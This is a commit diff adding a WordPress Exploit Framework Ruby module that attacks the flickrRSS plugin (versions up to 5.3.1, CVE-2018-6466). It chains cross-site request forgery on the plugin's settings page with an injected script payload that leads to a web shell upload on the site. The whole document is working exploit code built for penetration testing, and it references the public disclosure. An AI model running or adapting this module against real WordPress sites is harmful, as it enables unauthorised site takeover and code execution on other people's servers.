Add flickrRSS <= 5.3.1 reflected XSS shell upload

Author: rastating

modules/exploit/xss/stored/flickr_rss_csrf_xss_shell_upload.rb

@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+class Wpxf::Exploit::FlickrRssCsrfStoredXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::StagedReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'flickrRSS <= 5.3.1 CSRF Stored XSS Shell Upload',
+      author: [
+        'AntsKnows', # Disclosure
+        'rastating'  # WPXF module
+      ],
+      references: [
+        ['WPVDB', '9022'],
+        ['CVE', '2018-6466']
+      ],
+      date: 'Feb 06 2018'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('flickr-rss', '5.3.2')
+  end
+
+  def vulnerable_url
+    normalize_uri(wordpress_url_admin, 'options-general.php?page=flickrrss-settingspage.php')
+  end
+
+  def initial_script
+    create_basic_post_script(
+      vulnerable_url,
+      'save_flickrRSS_settings' => 'Save Settings',
+      'flickrRSS_set' => "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script><input type=\\\"hidden\\\" value=\\\""
+    )
+  end
+end